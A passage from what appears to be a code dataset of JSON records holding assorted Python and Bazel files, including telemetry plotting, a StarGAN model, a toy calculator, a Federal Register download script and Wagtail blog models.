zl.dist(lat1=lat,lon1=lon,lat2=float(valuable_tele_df['lat'][i]),lon2=float(valuable_tele_df['lon'][i]))<=acceptable_distance_diff: #distance match \n for j in range(len(record_file_df)):\n if record_file_df['Vessel#'][j]==vessel_number:\n \n matched_dict[telemetrystatus_df['Boat'][j]]=raw_dict[telemetrystatus_df['Boat'][j]].append(pd.DataFrame(data=[[time_str,\\\n fname,float(mean_temp),float(mean_depth),float(mean_lat),float(mean_lon)]],\\\n columns=['time','filename','mean_temp','mean_depth','mean_lat','mean_lon']).iloc[0],ignore_index=True) \n raw_save=1\n \n diff_temp=round((float(mean_temp)-float(valuable_tele_df['temp'][i])),4)\n diff_depth=round((float(mean_depth)-float(valuable_tele_df['depth'][i])),4)\n valuable_tele_df=valuable_tele_df.drop([i])\n if record_file_df['matched_number'].isnull()[j]:\n record_file_df['matched_number'][j]=1\n record_file_df['sum_diff_temp'][j]=diff_temp\n record_file_df['max_diff_temp'][j]=diff_temp\n record_file_df['min_diff_temp'][j]=diff_temp\n record_file_df['sum_diff_depth'][j]=diff_depth\n record_file_df['max_diff_depth'][j]=diff_depth\n record_file_df['min_diff_depth'][j]=diff_depth\n break\n else:\n record_file_df['matched_number'][j]=int(record_file_df['matched_number'][j]+1)\n record_file_df['sum_diff_temp'][j]=record_file_df['sum_diff_temp'][j]+diff_temp\n record_file_df['sum_diff_depth'][j]=record_file_df['sum_diff_depth'][j]+diff_depth\n if record_file_df['max_diff_temp'][j]diff_temp:\n record_file_df['min_diff_temp'][j]=diff_temp\n if record_file_df['max_diff_depth'][j]diff_depth:\n record_file_df['min_diff_depth'][j]=diff_depth\n break\n #write the data of raw file to dict\n if raw_save==0:\n for i in range(len(telemetrystatus_df)):\n if telemetrystatus_df['Vessel#'][i]==vessel_number:\n raw_dict[telemetrystatus_df['Boat'][i]]=raw_dict[telemetrystatus_df['Boat'][i]].append(pd.DataFrame(data=[[time_str,\\\n fname,float(mean_temp),float(mean_depth),float(mean_lat),float(mean_lon)]],\\\n columns=['time','filename','mean_temp','mean_depth','mean_lat','mean_lon']).iloc[0],ignore_index=True) \n \n #write 'time','mean_temp','mean_depth' of the telementry to tele_dict \n for i in valuable_tele_df.index: #valuable_tele_df is the valuable telemetry data during start time and end time \n for j in range(len(telemetrystatus_df)):\n if int(valuable_tele_df['vessel_n'][i].split('_')[1])==telemetrystatus_df['Vessel#'][j]:\n #count the numbers by boats\n if record_file_df['tele_num'].isnull()[j]:\n record_file_df['tele_num'][j]=1\n else:\n record_file_df['tele_num'][j]=record_file_df['tele_num'][j]+1\n if record_file_df['max_lat'].isnull()[j]:\n record_file_df['min_lat'][j]=valuable_tele_df['lat'][i]\n record_file_df['max_lat'][j]=valuable_tele_df['lat'][i]\n record_file_df['min_lon'][j]=valuable_tele_df['lon'][i]\n record_file_df['max_lon'][j]=valuable_tele_df['lon'][i]\n else:\n if record_file_df['min_lat'][j]>valuable_tele_df['lat'][i]:\n record_file_df['min_lat'][j]=valuable_tele_df['lat'][i]\n if record_file_df['max_lat'][j]valuable_tele_df['lon'][i]:\n record_file_df['min_lon'][j]=valuable_tele_df['lon'][i]\n if record_file_df['max_lon'][j]0:\n ax1.plot_date(doppio_dict['time'],doppio_dict['doppio_temp'],linestyle='--',color='y',alpha=0.5,label='DOPPIO',marker='d',markerfacecolor='y')\n ax2.plot_date(doppio_dict['time'],doppio_dict['doppio_depth'],linestyle='--',color='y',alpha=0.5,label='DOPPIO',marker='d',markerfacecolor='y')\n doppiomax_t,doppiomin_t=np.nanmax(doppio_dict['doppio_temp'].values),np.nanmin(doppio_dict['doppio_temp'].values)\n doppiomax_d,doppiomin_d=np.nanmax(doppio_dict['doppio_depth'].values),np.nanmin(doppio_dict['doppio_depth'].values) \n except:\n doppiomax_t,doppiomin_t,doppiomax_d,doppiomin_d=-9999,9999,-99999,99999\n try: \n gomofs_dict=dict[['time','gomofs_temp','gomofs_depth']]\n gomofs_dict=gomofs_dict.dropna() \n if len(gomofs_dict)>0: \n ax1.plot_date(gomofs_dict['time'],gomofs_dict['gomofs_temp'],linestyle='-.',color='r',alpha=0.5,label='GOMOFS',marker='d',markerfacecolor='r')\n ax2.plot_date(gomofs_dict['time'],gomofs_dict['gomofs_depth'],linestyle='-.',color='r',alpha=0.5,label='GOMOFS',marker='d',markerfacecolor='r')\n gomofsmax_t,gomofsmin_t=np.nanmax(gomofs_dict['gomofs_temp'].values),np.nanmin(gomofs_dict['gomofs_temp'].values)\n gomofsmax_d,gomofsmin_d=np.nanmax(gomofs_dict['gomofs_depth'].values),np.nanmin(gomofs_dict['gomofs_depth'].values) \n except:\n gomofsmax_t,gomofsmin_t,gomofsmax_d,gomofsmin_d=-9999,9999,-99999,99999\n \n max_temp=max(max_t,doppiomax_t,gomofsmax_t)\n min_temp=min(min_t,doppiomin_t,gomofsmin_t)\n max_depth=max(max_d,doppiomax_d,gomofsmax_d)\n min_depth=min(min_d,doppiomin_d,gomofsmin_d)\n diff_temp=max_temp-min_temp\n diff_depth=max_depth-min_depth\n if diff_temp==0:\n textend_lim=0.1\n else:\n textend_lim=diff_temp/8.0\n if diff_depth==0:\n dextend_lim=0.1\n else:\n dextend_lim=diff_depth/8.0 \n \n ax1.legend(prop={'size': 0.75*size})\n ax1.set_title(dictlabel)\n ax1.set_ylabel('Celius',fontsize=size) \n ax1.set_ylim(min_temp-textend_lim,max_temp+textend_lim)\n ax1.axes.title.set_size(2*size)\n if len(dict)==1:\n ax1.set_xlim((dict['time'][0]-timedelta(days=3)),(dict['time'][0]+timedelta(days=4)))\n ax1.axes.get_xaxis().set_visible(False)\n ax1.tick_params(labelsize=0.75*size)\n ax12=ax1.twinx()\n ax12.set_ylabel('Fahrenheit',fontsize=size)\n #conversing the Celius to Fahrenheit\n ax12.set_ylim((max_temp+textend_lim)*1.8+32,(min_temp-textend_lim)*1.8+32)\n ax12.invert_yaxis()\n ax12.tick_params(labelsize=0.75*size)\n #The parts of lable\n ax2.legend(prop={'size': 0.75*size})\n ax2.set_ylabel('depth(m)',fontsize=size)\n ax2.set_ylim(min_depth-dextend_lim,max_depth+dextend_lim)\n if len(dict)==1:\n ax2.set_xlim(dict['time'][0]-timedelta(days=3),dict['time'][0]+timedelta(days=4))\n ax2.tick_params(labelsize=0.75*size)\n ax22=ax2.twinx()\n ax22.set_ylabel('depth(feet)',fontsize=size)\n ax22.set_ylim((max_depth+dextend_lim)*3.28084,(min_depth-dextend_lim)*3.28084)\n ax22.invert_yaxis()\n ax22.tick_params(labelsize=0.75*size)\n \n \ndef to_list(lat,lon):\n \"transfer the format to list\"\n x,y=[],[]\n for i in range(len(lat)):\n x.append(lat[i])\n y.append(lon[i])\n return x,y\n\n","sub_path":"raw_tele_modules.py","file_name":"raw_tele_modules.py","file_ext":"py","file_size_in_byte":62765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"187853058","text":"# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserve.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom initializer import Initializer, Xavier, Constant\nfrom regularizer import WeightDecayRegularizer\n\n__all__ = [\n 'ParamAttr',\n 'WeightNormParamAttr',\n]\n\n\nclass ParamAttr(object):\n def __init__(self,\n name=None,\n initializer=None,\n learning_rate=1.0,\n regularizer=None,\n trainable=True,\n gradient_clip=None):\n self.name = name\n self.initializer = initializer\n self.learning_rate = learning_rate\n self.regularizer = regularizer\n self.trainable = trainable\n self.gradient_clip = gradient_clip\n\n def set_default_initializer(self, initializer):\n if initializer is None:\n if self.initializer is None:\n raise ValueError(\"ParamAttr.initializer is not set\")\n return\n\n if self.initializer is not None:\n return\n\n self.initializer = initializer\n\n def set_default_param_initializer(self):\n self.set_default_initializer(Xavier())\n\n def set_default_bias_initializer(self):\n self.set_default_initializer(Constant(0.0))\n\n @staticmethod\n def to_attr(arg):\n if arg is None:\n return ParamAttr()\n elif isinstance(arg, list) or isinstance(arg, tuple):\n return [ParamAttr.to_attr(a) for a in arg]\n elif isinstance(arg, ParamAttr):\n return arg\n elif isinstance(arg, str) or isinstance(arg, unicode):\n return ParamAttr(name=arg)\n elif isinstance(arg, Initializer):\n return ParamAttr(initializer=arg)\n elif isinstance(arg, WeightDecayRegularizer):\n return ParamAttr(regularizer=arg)\n elif isinstance(arg, bool):\n return ParamAttr.to_attr(None) if arg else False\n else:\n raise TypeError(\"{0} cast to ParamAttr\".format(type(arg)))\n\n def to_kwargs(self, with_initializer=False):\n kwargs = {\n 'name': self.name,\n 'optimize_attr': {\n 'learning_rate': self.learning_rate\n },\n 'regularizer': self.regularizer,\n 'trainable': self.trainable,\n 'gradient_clip_attr': self.gradient_clip\n }\n if with_initializer:\n kwargs['initializer'] = self.initializer\n return kwargs\n\n\nclass WeightNormParamAttr(ParamAttr):\n \"\"\"\n Used for weight normalization. Any field in ParamAttr can also be set here.\n Besides, an extra field dim can be set to indicate the dimension except \n which to normalize.\n \"\"\"\n # List to record the parameters reparameterized by weight normalization.\n # If these parameters are treated as Variable rather than Parameter,\n # it can be used to discriminate these parameters and help to serialize\n # these paramters for inference.\n params_with_weight_norm = []\n\n def __init__(self, dim=None, **kwargs):\n super(WeightNormParamAttr, self).__init__(**kwargs)\n self.dim = dim\n","sub_path":"python/paddle/v2/fluid/param_attr.py","file_name":"param_attr.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"573223182","text":"import time\r\nimport uuid\r\nimport operator\r\n\r\nNUMBERS = [\".\", \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\r\nTERMINATE_CHAR = \"!\"\r\nOPERATORS = {\r\n '^': operator.xor,\r\n '*': operator.mul,\r\n '/': operator.truediv,\r\n '%': operator.mod,\r\n '+': operator.add,\r\n '-': operator.sub\r\n}\r\n\r\n\r\ndef main():\r\n main_menu()\r\n equation = parse(input())\r\n print(equation)\r\n sortedEq = sort(equation)\r\n print(sortedEq)\r\n\r\n output = 0\r\n\r\n for eq in sortedEq:\r\n print(eq)\r\n output += evaluate(eq)\r\n\r\n print(output)\r\n\r\n\r\ndef main_menu():\r\n print(\"welcome to the python calculator beta\")\r\n print(\"type negative NUMBERS in brackets []. input equation below\\n\")\r\n\r\n\r\ndef parse(eq):\r\n\r\n parsedEquations = []\r\n currentEq = \"\"\r\n skip = False\r\n\r\n if \"()\" not in eq:\r\n parsedEquations.append(chunk(eq))\r\n return parsedEquations\r\n\r\n # iterate over equation seperating at parentheses\r\n for index, char in enumerate(eq):\r\n if skip:\r\n skip = False\r\n continue\r\n\r\n # beginning parentheses case\r\n if char == \"(\":\r\n # skip '(' and add the number after to the current equation\r\n currentEq += eq[(index + 1)]\r\n skip = True\r\n\r\n # end of parentheses case\r\n if char == \")\":\r\n parsedEquations.append(chunk(currentEq))\r\n continue\r\n\r\n # regular character case\r\n if char in NUMBERS or OPERATORS and char not in \"()\":\r\n currentEq += char\r\n\r\n # ignore all whitespace\r\n if char == \" \":\r\n continue\r\n\r\n return parsedEquations\r\n\r\n\r\ndef chunk(eq):\r\n # workaround for there being no operator sign at the end of an equation\r\n eq = eq + TERMINATE_CHAR\r\n\r\n chunk = \"\"\r\n chunkedEquation = {}\r\n skip = False\r\n\r\n # iterate over equation, seperating at operators\r\n for index, char in enumerate(eq):\r\n if skip:\r\n skip = False\r\n continue\r\n\r\n # regular number case\r\n elif char in NUMBERS:\r\n chunk += char\r\n\r\n # negative number format case\r\n elif char == \"[\":\r\n # skip '[' and add the number after to the current chunk\r\n chunk += eq[(index + 1)]\r\n skip = True\r\n\r\n # end of negative number format case\r\n elif char == \"]\":\r\n continue\r\n\r\n # operator is detected case\r\n elif char in OPERATORS:\r\n # assign a uuid to chunk, add current chunk and operator (the current char) to an array\r\n chunkedEquation[uuid.uuid4()] = [chunk, char]\r\n chunk = \"\" # clear chunk so next one is blank\r\n\r\n # terminating char detected case\r\n elif char == TERMINATE_CHAR:\r\n # assign uuid similar to above, this time with terminating character as operator instead\r\n chunkedEquation[uuid.uuid4()] = [chunk, TERMINATE_CHAR]\r\n\r\n # ignore all whitespace\r\n elif char == \" \":\r\n continue\r\n\r\n # if no cases are hit above, generate syntax error\r\n else:\r\n print(\"user generated syntax error\")\r\n return\r\n\r\n return chunkedEquation\r\n\r\n\r\ndef sort(eq):\r\n pemdas = {}\r\n output = []\r\n\r\n for subEq in eq:\r\n # build pemdas from scratch for added simplification when new operators are added\r\n for weight, operator in enumerate(OPERATORS):\r\n pemdas[operator] = len(OPERATORS) - weight\r\n\r\n # assign terminating character a weighted value of 0\r\n pemdas[TERMINATE_CHAR] = 0\r\n\r\n # replace all operators in equation with weighted values assigned above\r\n for chunkID, chunk in subEq.items():\r\n subEq[chunkID] = [chunk[0], pemdas[chunk[1]]]\r\n\r\n # sort the subEq by key values\r\n sortedEq = sorted(subEq.values(), key=lambda x: x[1], reverse=True)\r\n for index, chunkID in enumerate(subEq.keys()):\r\n subEq[chunkID] = sortedEq[index]\r\n\r\n # restore all operators\r\n for chunkID, chunk in subEq.items():\r\n operator = list(pemdas.keys())[list(\r\n pemdas.values()).index(chunk[1])]\r\n\r\n # sort lambda converted 0th indice to a string\r\n subEq[chunkID] = [int(chunk[0]), operator]\r\n\r\n output.append(subEq)\r\n\r\n return output\r\n\r\n\r\ndef evaluate(eq):\r\n output = None\r\n previousOperator = None\r\n previousChunk = None\r\n\r\n for chunkID, chunk in eq.items():\r\n op = chunk[1] # take current chunk operator to apply\r\n chunk = int(chunk[0]) # current numeric value \"the chunk\"\r\n\r\n # if first number in the equation, skip and store values\r\n if not previousOperator:\r\n previousOperator = op\r\n previousChunk = chunk\r\n continue\r\n\r\n # if output has not changed, evaluate previous (first number) and current number\r\n if output is None:\r\n output = OPERATORS[previousOperator](previousChunk, chunk)\r\n previousOperator = op\r\n continue\r\n\r\n # else, simply use evaluate using operators library\r\n output = OPERATORS[previousOperator](output, chunk)\r\n previousOperator = op\r\n\r\n return output\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":5255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"615259309","text":"bicycles = ['trek', 'cannondale', 'redline', 'specialized']\n# message=\"My first bicycle was a \" + bicycles[0].title() + \".\"\n# print(message)\n# bicycles[0]=\"Ducati\"\n# print(bicycles)\n# print(bicycles[0])\n# bicycles.append(\"công nông\")\n# print(bicycles)\n# motobike=[]\n# motobike.append(\"công nông\")\n# motobike.append(\"ae bò\")\n# motobike.append(\"be thồ\")\n# a=input(\"thứ bạn muốn thêm vào\")\n# motobike.append(a)\n# motobike.insert(2, \"xe honda\")\n# first_owned=motobike.pop(2)\na=bicycles.sort(reverse=True)\nprint(a)\n# for i in range(len(motobike)):\n# print(i+1,motobike[i])\n \n","sub_path":"introduce list.py","file_name":"introduce list.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"632741180","text":"# Based on the StarGAN paper and their PyTorch implementation\n# https://github.com/yunjey/stargan\n# @InProceedings{StarGAN2018,\n# author = {Choi, Yunjey and Choi, Minje and Kim, Munyoung and Ha, Jung-Woo and Kim, Sunghun and Choo, Jaegul},\n# title = {StarGAN: Unified Generative Adversarial Networks for Multi-Domain Image-to-Image Translation},\n# booktitle = {The IEEE Conference on Computer Vision and Pattern Recognition (CVPR)},\n# month = {June},\n# year = {2018}\n# }\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers, backend\nfrom tensorflow.keras.models import Model, Sequential, load_model\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.layers import LeakyReLU, ReLU, Conv2D, UpSampling2D, Input, Reshape, Concatenate, ZeroPadding2D, Lambda\nfrom tensorflow_addons.layers.normalizations import InstanceNormalization \nimport numpy as np\nimport cv2\nimport glob\nimport re\nimport os\nimport random\nfrom functools import partial\nfrom tensorflow.python.framework.ops import disable_eager_execution\ndisable_eager_execution()\n\nclass Config(object):\n\tnum_c = 7\n\tinput_shape = (128,128,3)\n\n\n\n# Model architecture as described in the StarGAN paper.\n\n# Only need the generator to be build and loaded with weights for the project.\n# Discriminator is kept for other testing.\nclass StarGAN():\n def __init__(self, config):\n self.input_shape = config.input_shape\n self.num_c = config.num_c\n \n def build_generator(self): \n def conv2d(x, filters, kernel_size, strides, padding):\n x = ZeroPadding2D(padding=padding)(x)\n x = Conv2D(filters, kernel_size, strides, padding='valid', use_bias=False)(x)\n x = ReLU()(x)\n x = InstanceNormalization(axis=-1)(x)\n return x\n \n def deconv2d(x, filters, kernel_size, strides, padding):\n x = UpSampling2D(2)(x)\n x = Conv2D(filters, kernel_size, strides, padding='same', use_bias=False)(x)\n x = ReLU()(x)\n x = InstanceNormalization(axis=-1)(x)\n return x\n\n def down_sampling(x):\n d1 = conv2d(x, 64, 7, 1, 3)\n d2 = conv2d(d1, 128, 4, 2, 1)\n d3 = conv2d(d2, 256, 4, 2, 1)\n return d3\n\n def bottleneck(x):\n for _ in range(6):\n x = conv2d(x, 256, 3, 1, 1)\n return x\n \n def up_sampling(x):\n u1 = deconv2d(x, 128, 4, 1, 1)\n u2 = deconv2d(u1, 64, 4, 1, 1)\n return u2\n\n def output_conv(x):\n x = ZeroPadding2D(padding=3)(x)\n x = Conv2D(filters=3, kernel_size=7, strides=1, padding='valid', activation='tanh', use_bias=False)(x)\n return x\n \n input_img = Input(self.input_shape)\n input_c = Input((self.num_c,))\n c = Lambda(lambda x: backend.repeat(x, 128**2))(input_c)\n c = Reshape(self.input_shape)(c)\n x = Concatenate()([input_img, c])\n down_sampled = down_sampling(input_img)\n bottlenecked = bottleneck(down_sampled)\n up_sampled = up_sampling(bottlenecked)\n out = output_conv(up_sampled)\n return Model(inputs=[input_img, input_c], outputs=out)\n\n def build_discriminator(self):\n def conv2d(x, filters, kernel_size, strides, padding):\n x = ZeroPadding2D(padding=padding)(x)\n x = Conv2D(filters, kernel_size, strides, padding='valid', use_bias=False)(x)\n x = LeakyReLU(0.01)(x)\n return x\n \n input_img = Input(self.input_shape)\n x = input_img\n filters = 64\n for _ in range(6):\n x = conv2d(x, filters, 4, 2, 1)\n filters = filters*2\n\n out_cls = Conv2D(self.num_c, 2, 1, padding='valid', use_bias=False)(x)\n out_cls = Reshape((self.num_c,))(out_cls)\n x = ZeroPadding2D(padding=1)(x)\n out_src = Conv2D(1, 3, 1, padding='valid', use_bias=False)(x)\n return Model(inputs=input_img, outputs=[out_src, out_cls])\n \n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"247298481","text":"#!/usr/bin/env python\n\"\"\"\ndownload_fr.py\n\nDownload bulk xml zips of Federal Register from FDSys\n\"\"\"\n\nimport argparse\nimport logging\nimport shutil\n\nimport requests\n\nfrom pathlib import Path\n\nURL = 'https://www.gpo.gov/fdsys/bulkdata/FR/{year}/FR-{year}.zip'\n\nlogging.getLogger('requests').setLevel(logging.WARNING)\nlog = logging.getLogger(Path(__file__).stem)\n\n\ndef parse_args():\n \"\"\"Parse command line arguments.\"\"\"\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('-o', '--outdir', type=Path)\n parser.add_argument('--end_year', type=int)\n verbosity = parser.add_mutually_exclusive_group()\n verbosity.add_argument('-v', '--verbose', action='store_const',\n const=logging.DEBUG, default=logging.INFO)\n verbosity.add_argument('-q', '--quiet', dest='verbose',\n action='store_const', const=logging.WARNING)\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n logging.basicConfig(level=args.verbose)\n try:\n shutil.rmtree(str(args.outdir))\n except FileNotFoundError:\n pass\n args.outdir.mkdir(parents=True)\n for year in range(2000, args.end_year + 1):\n log.info(\"Downloading {}\".format(year))\n log.debug(URL.format(year=year))\n with args.outdir.joinpath('{}.zip'.format(year)).open('wb') as outf:\n outf.write(requests.get(URL.format(year=year)).content)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"539819231","text":"\"\"\"Build definitions for javac related operations in tink.\"\"\"\n\nSOURCE_7_TARGET_7 = [\n \"-source 1.7\",\n \"-target 1.7\",\n]\n\nJAVACOPTS = []\n\n# Compile Tink open source with java 7 and produce java 7 bytecode.\n# This ensures that Tink doesn't use non-java 7 features.\nJAVACOPTS_OSS = SOURCE_7_TARGET_7\n","sub_path":"tools/build_defs/javac.bzl","file_name":"javac.bzl","file_ext":"bzl","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"376447724","text":"while(True):\n try:\n n = float(input(\"Introduce un numero: \"))\n 5 / n\n break\n except TypeError:\n print(\"No se puede dividir un nro con un string\")\n #except Exception as e: --> para sacar el tipo de error\n except ValueError:\n print(\"Introducir cadena que sea un numero\")\n except ZeroDivisionError:\n print(\"No se puede diidir un numero por cero\")\n","sub_path":"exepciones_py/exepcion_multiples.py","file_name":"exepcion_multiples.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242850905","text":"# -*- coding: utf-8 -*-\n\"\"\"\n test_sphinx\n ~~~~~~~~~~~\n\n General Sphinx test and check output.\n\"\"\"\n\nimport re\nfrom sphinx_testing.util import path, with_app\n\n\nsrcdir = path(__file__).dirname().joinpath('sphinx').abspath()\n\n\ndef teardown_module():\n (srcdir / '_build').rmtree(True)\n\n\n@with_app(srcdir=srcdir)\ndef test_sphinx(app, status, warning):\n app.builder.build_all()\n warnings = warning.getvalue()\n assert re.search(u'could not relabel citation \\\\[Test01\\\\]', warnings)\n assert re.search(u'could not relabel citation \\\\[Test02\\\\]', warnings)\n assert re.search(u'could not relabel citation \\\\[Wa04\\\\]', warnings)\n assert re.search(\n u'could not relabel citation reference \\\\[Test01\\\\]',\n warnings)\n assert re.search(\n u'could not relabel citation reference \\\\[Test02\\\\]',\n warnings)\n assert re.search(\n u'could not relabel citation reference \\\\[Wa04\\\\]',\n warnings)\n","sub_path":"test/test_sphinx.py","file_name":"test_sphinx.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"403518367","text":"fin = open('B-large.in')\nlines = fin.readlines()\nfin.close()\n\nT = int(lines.pop(0))\nfout = open('pancakes_out.txt','w')\nfor t in range(T):\n # count the discontinuities:\n S = lines[t].strip()\n n = 0\n for (a,b) in zip(S,S[1:]):\n if a != b:\n n += 1\n print(n, \"discontinuities\")\n if not ((S[0]==\"+\") ^ (n%2)):\n # if first pancake was upside down and we have flipped an even number of times,\n # or first pancake was right way up and we have flipped an odd number of times,\n # flip again\n n += 1\n print(\"and another flip\")\n\n fout.write(\"Case #%d: %d\\n\" % (t+1, n))\n\nfout.close()\n","sub_path":"codes/CodeJamCrawler/16_0_2_neat/16_0_2_DrEyebrows_pancakes.py","file_name":"16_0_2_DrEyebrows_pancakes.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"227047308","text":"from django.db import models\nfrom django.shortcuts import render\n\nfrom django import forms\nfrom django.core.paginator import PageNotAnInteger,EmptyPage,Paginator\nfrom modelcluster.fields import ParentalKey,ParentalManyToManyField\nfrom wagtail.api import APIField\n\nfrom wagtail.core.models import Page,Orderable\nfrom wagtail.admin.edit_handlers import FieldPanel,StreamFieldPanel,MultiFieldPanel,InlinePanel\nfrom wagtail.core.fields import StreamField\nfrom wagtail.images.edit_handlers import ImageChooserPanel\nfrom wagtail.snippets.edit_handlers import SnippetChooserPanel\nfrom streams import blocks\nfrom wagtail.contrib.routable_page.models import RoutablePageMixin,route\nfrom wagtail.snippets.models import register_snippet\nfrom rest_framework.fields import Field\n\n\n\n\n\nclass BlogListingPage(RoutablePageMixin,Page):\n\n template = \"blog/bloglisting.html\"\n max_count = 1\n\n subpage_types =[\n 'blog.VideoBlogPage',\n 'blog.ArticlePage',\n ]\n\n custom_title = models.CharField(\n max_length = 100,\n blank = False,\n null = True,\n help_text = 'Overwrites the default title'\n )\n\n content_panels = Page.content_panels + [\n FieldPanel(\"custom_title\"),\n ]\n\n\n def get_context(self,request,*args,**kwargs):\n\n context = super().get_context(request,*args,**kwargs)\n all_posts = BlogDetailPage.objects.live().public().order_by(\"-first_published_at\") \n \n \n paginator = Paginator(all_posts,3)\n\n page = request.GET.get(\"page\")\n try:\n posts=paginator.page(page)\n except PageNotAnInteger:\n posts=paginator.page(1)\n except EmptyPage:\n posts=paginator.page(paginator.num_pages)\n\n context[\"posts\"] = posts\n context[\"categories\"] = BlogCategory.objects.all()\n \n #context[\"authors\"] = BlogAuthor.all()\n return context\n\n\n @route(r\"^category/(?P[-\\w]*)/$\", name=\"category_view\")\n def category_view(self, request, cat_slug):\n \"\"\"Find blog posts based on a category.\"\"\"\n context = self.get_context(request)\n\n try:\n category = BlogCategory.objects.get(slug=cat_slug)\n except Exception:\n category = None\n\n if category is None:\n pass\n\n context[\"latest_posts\"] = BlogDetailPage.objects.live().public().filter(categories__in=[category])\n return render(request, \"blog/latest_posts.html\", context)\n\n @route(r'^latest/$',name=\"latestposts\")\n def latest_blog_posts(self, request,*args,**kwargs,):\n context = self.get_context(request,*args,**kwargs)\n context[\"latest_posts\"] = BlogDetailPage.objects.live().public()[:3] \n\n return render(request,\"blog/latest_posts.html\",context)\n\n\n\n\n\nclass BlogDetailPage(Page):\n\n template = \"blog/blog_detail.html\"\n subpage_types =[]\n parent_page_types = ['blog.BlogListingPage']\n\n custom_title = models.CharField(\n max_length = 100,\n blank = True,\n null = True,\n help_text = 'Overwrites the default title'\n )\n blog_image = models.ForeignKey(\n \"wagtailimages.Image\",\n blank = False,\n null = True,\n related_name ='+',\n on_delete = models.SET_NULL,\n )\n\n categories = ParentalManyToManyField(\"blog.BlogCategory\")\n \n content = StreamField(\n [\n (\"title_and_text\",blocks.TitleAndTextBlock()),\n (\"full_richtext\",blocks.RichTextBlock()),\n (\"cards\",blocks.CardBLock()),\n (\"cta\",blocks.CTABlock()),\n ],\n null =True,\n blank=True,\n )\n\n content_panels = Page.content_panels + [\n FieldPanel(\"custom_title\"),\n ImageChooserPanel(\"blog_image\"),\n MultiFieldPanel(\n [\n InlinePanel(\"blog_authors\",label=\"Author\",min_num=1,max_num=4)\n ],heading=\"Author(s)\"\n ), \n MultiFieldPanel(\n [\n FieldPanel(\"categories\",widget= forms.CheckboxSelectMultiple)\n ],heading=\"Categories\"\n ),\n StreamFieldPanel(\"content\"),\n ]\n\n\n api_fields =[\n APIField(\"blog_authors\"),\n APIField(\"content\"),\n\n ]\n\nclass ArticlePage(BlogDetailPage):\n \"\"\" Subclassed Page inheriting from BlogDetail Page \"\"\"\n\n template = \"blog/article_blog_page.html\"\n subtitle = models.CharField(max_length=100,blank=True,null=True)\n intro_image = models.ForeignKey(\"wagtailimages.Image\",blank=True,null=True,on_delete=models.SET_NULL)\n\n content_panels = Page.content_panels + [\n MultiFieldPanel(\n [\n FieldPanel(\"custom_title\"),\n FieldPanel(\"subtitle\"),\n ],heading=\"Sub Title\"\n ),\n MultiFieldPanel( [\n ImageChooserPanel(\"blog_image\"),\n ImageChooserPanel(\"intro_image\"),\n ],heading=\"Images\"\n ),\n MultiFieldPanel(\n [\n InlinePanel(\"blog_authors\",label=\"Author\",min_num=1,max_num=4)\n ],heading=\"Author(s)\"\n ), \n MultiFieldPanel(\n [\n FieldPanel(\"categories\",widget= forms.CheckboxSelectMultiple)\n ],heading=\"Categories\"\n ),\n StreamFieldPanel(\"content\"),\n ]\n\n\n\n\nclass VideoBlogPage(BlogDetailPage):\n\n youtube_video_id = models.CharField(max_length=100)\n \n\n content_panels = Page.content_panels + [\n FieldPanel(\"custom_title\"),\n ImageChooserPanel(\"blog_image\"),\n MultiFieldPanel(\n [\n InlinePanel(\"blog_authors\",label=\"Author\",min_num=1,max_num=4)\n ],heading=\"Author(s)\"\n ), \n MultiFieldPanel(\n [\n FieldPanel(\"categories\",widget= forms.CheckboxSelectMultiple)\n ],heading=\"Categories\"\n ),\n FieldPanel(\"youtube_video_id\"),\n StreamFieldPanel(\"content\"),\n ]\n\n\n\nclass BlogCategory(models.Model):\n\n name = models.CharField(max_length=200)\n slug = models.SlugField(\n verbose_name = \"slug\",\n allow_unicode = True,\n max_length = 200,\n help_text = 'Slug TO Identify Posts by Category'\n )\n\n def __str__(self):\n return self.name\n\n \n panels = [\n FieldPanel(\"name\"),\n FieldPanel(\"slug\"),\n ] \n\n class Meta:\n verbose_name = \"BlogCategory\"\n verbose_name_plural = \"BlogCategories\"\n ordering =[\"name\"]\n\n\nregister_snippet(BlogCategory)\n\n\n\n\nclass ImageSerializedField(Field):\n def to_representation(self,value):\n return {\n \"url\": value.file.url,\n \"title\": value.title,\n \"width\": value.width,\n 